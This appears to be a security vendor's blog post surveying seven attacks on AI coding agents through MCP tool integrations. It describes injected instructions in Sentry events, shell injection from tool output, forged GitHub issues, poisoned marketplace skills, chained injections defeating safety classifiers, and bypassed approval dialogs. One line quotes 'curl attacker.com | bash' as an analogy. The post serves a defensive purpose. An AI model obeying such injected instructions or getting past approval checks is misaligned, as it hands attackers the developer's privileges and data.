The MCP Integration Attack Surface: 7 Attacks That Prove Your AI Agent's Tools Are the Weakest Link

If you’re running an AI coding agent in production, I’ve got bad news: every single Model Context Protocol (MCP) integration you’ve hooked up is a fresh data-to-execution pipeline that your EDR, WAF, IAM, VPN, and firewall are completely blind to. Not “partially blind.” Completely.

The security industry is still playing catch-up on LLM prompt injection, but the real action has moved downstream. MCP lets agents pull data from tools — issue trackers, code repositories, log systems, package registries — and then act on that data. The problem? Nobody thought to validate what the tools return.

Over the past five weeks, seven distinct attacks have demonstrated exactly how broken this trust model is. Let’s walk through them in order.

1. Agentjacking (June 12) — The One That Started It All

Discovered by: Tenet Security

Attackers inject fake Sentry error events using only a public DSN — a credential you can find in any website’s source code or a GitHub search. The error payloads include carefully formatted markdown that, when returned by the Sentry MCP server to an AI coding agent, look identical to legitimate Sentry “Resolution” guidance.

The agent reads the attacker’s command as trusted diagnostic instruction. Then it runs it. With the developer’s own privileges. On the developer’s own machine.

Success rate: 85% across Claude Code, Cursor, and Codex. Exposed organizations: 2,388.

Sentry acknowledged the issue on June 3 and declined root-cause remediation, calling it “technically not defensible” at the platform level. They’re not wrong — the DSN is public by design. But the industry isn’t ready for an answer that amounts to “the agent should know better.”

Every major security control saw exactly nothing. EDR? Nothing. WAF? Nothing. Firewall? Nothing. Why? Tenet calls this the Authorized Intent Chain: every action in the attack was authorized by the agent’s permissions. No policy was violated. No anomaly threshold was crossed. The agent was the insider threat.

2. GuardFall (June 2026) — Shell Injection via MCP Tool Commands

Discovered by: Adversa AI

GuardFall demonstrated shell injection through MCP tool command parameters. Out of 11 open-source AI coding agents tested, 10 were vulnerable. That’s over 500,000 deployments running code that would happily pass attacker-controlled strings to a shell with no sanitization.

The malicious payloads came from tool outputs — not user prompts. The agent trusted the tool’s response and executed it as a command. Classic command injection, just with a delivery vector that no SAST tool was trained to trace.

3. GitLost (July 6) — Leaking Private Repos via Crafted Issues

Discovered by: Noma Security

Noma Security found that GitHub’s AI agent could be tricked into exposing private repository contents through carefully crafted issues. The attacker needed zero credentials — the agent’s own access was enough. A forged issue triggered the agent to fetch sensitive data and surface it where it shouldn’t be.

Hit 536 points on Hacker News. GitHub scrambled. But the root cause is structural: the agent can’t distinguish between a legitimate issue and one crafted specifically to manipulate its behavior.

4. OpenClaw Supply Chain Crisis (July 7) — 12% Infection Rate

CVE-2026-25253, CVSS 8.8

Attackers uploaded 341 malicious skills to ClawHub, a popular MCP skill marketplace. 12% of all ClawHub skills were compromised. For context, npm’s worst month saw 0.2% malicious packages. ClawHub was 60x worse.

The scary part: malicious skills inherit the agent’s authenticated identity and filesystem access. If your agent can push to production, so can the skill. Five of the malicious skills bypassed both ClawScan and VirusTotal screening. They used package name collisions and dependency chains to disguise themselves.

5. Friendly Fire (July 8) — Multi-Step Prompt Injection

Discovered by: AI Now Institute

This attack defeated Claude Code’s auto-mode safety classifiers and Codex’s auto-review safety layer using multi-step prompt injection chains. The attacker didn’t need hooks, plugins, or MCP servers — just a sequence of individually benign operations that, when chained, produced a malicious outcome.

Each step looked safe in isolation. The agent’s own chain-of-thought was weaponized against it. Friendly Fire proved that safety classifiers operating on single actions are fundamentally insufficient — you need cross-step adversarial reasoning, which is exactly the kind of analysis automated tools can’t do.

6. GhostApproval (July 8) — The Dialog That Never Was

Discovered by: Multiple researchers

GhostApproval bypassed the approval dialogs built into every major AI coding assistant. The “ask before execute” layer was shown to be bypassable through simple input manipulation. The agent would simulate clicking “Allow” without actually presenting the dialog to the user.

If your security model relies on a yes/no popup, it’s not security. It’s theater.

7. GhostCommit (July 11) — Exploiting Images in Convention Files

Discovered by: ASSET Research Group, UMKC

The most recent attack. Researchers embedded malicious payloads inside images stored in convention files (.clinerules, .cursorrules, etc.). When AI coding agents parsed those files to understand project conventions, they also executed the embedded payloads. 73% merge rate with zero human review.

The images were visually indistinguishable from legitimate project assets. Works on Cursor, Antigravity, and Codex. Claude Code refused — it’s the only agent that properly sandboxes file parsing. But 3 out of 4 ain’t great.

The Common Pattern

Every single one of these attacks follows the same architecture:

An MCP integration creates a trusted data source → Data flows directly to agent execution → No human review happens → The agent acts on attacker-controlled input with full privileges.

The agent implicitly trusts the tool’s output because the tool is “authorized.” But authorization is not safety. The tool is only authorized to access data, not to command the agent to act. The agent conflates data delivery with instruction execution.

This is the Authorized Intent Chain: every action in these attacks was legitimately authorized by the agent’s permissions. No security tool detected anything because there was no policy violation — just an agent following orders from an untrusted source. The agent is the new insider threat.

What Traditional Security Misses

Your EDR watches for process anomalies. Your WAF inspects HTTP payloads. Your IAM controls who can access what. Your firewall filters network traffic. Your VPN encrypts the pipe.

None of these tools inspect what an MCP server returns to an agent. None of them trace the data-to-execution pipeline from Sentry → MCP → agent → shell. None of them understand that a “fix unresolved issues” prompt is functionally equivalent to curl attacker.com | bash when the issue data is attacker-controlled.

The Market Reality

The AI agent audit and assurance services market hit $0.4 billion in 2025 and is projected at $0.6 billion for 2026, growing to $23 billion by 2036. That growth isn’t speculative — we already know 2,388 organizations were confirmed vulnerable to just ONE of these seven attacks. The 12% ClawHub infection rate extrapolated to the 15,382-server MCP ecosystem suggests thousands more compromised deployments.

The attacks are getting faster. June 12 to July 11: 5 weeks, 7 novel attack classes, 0 patches that fix the root cause. The velocity isn’t slowing down.

What You Can Do Today

Audit every MCP integration. List every tool your agent connects to. For each one, ask: “If this tool returned malicious data, could the agent act on it?” If yes, that’s a finding.
Assume all external data sources are hostile. Your Sentry DSN is public. Your GitHub issues can be forged. Your package registry can be poisoned. Treat every tool output as untrusted input.
Implement per-action human review for high-privilege operations. Auto-approving git push is dangerous. Auto-approving rm -rf is catastrophic. The agent shouldn’t be able to execute destructive operations without a human in the loop.
Get an MCP attack surface audit. This is what we do at dotfm. We trace every data-to-execution path in your agent deployment, identify which integrations create unvalidated trust boundaries, and give you a prioritized remediation plan.

The attacks aren’t theoretical. 2,388 organizations learned that the hard way with Agentjacking alone. The other six attacks have comparable reach. Your agent is the most privileged user on your system — and the least suspicious. That’s the problem.

For more on AI agent security, read our complete guide to the AI agent security landscape and our practical 10-point audit checklist.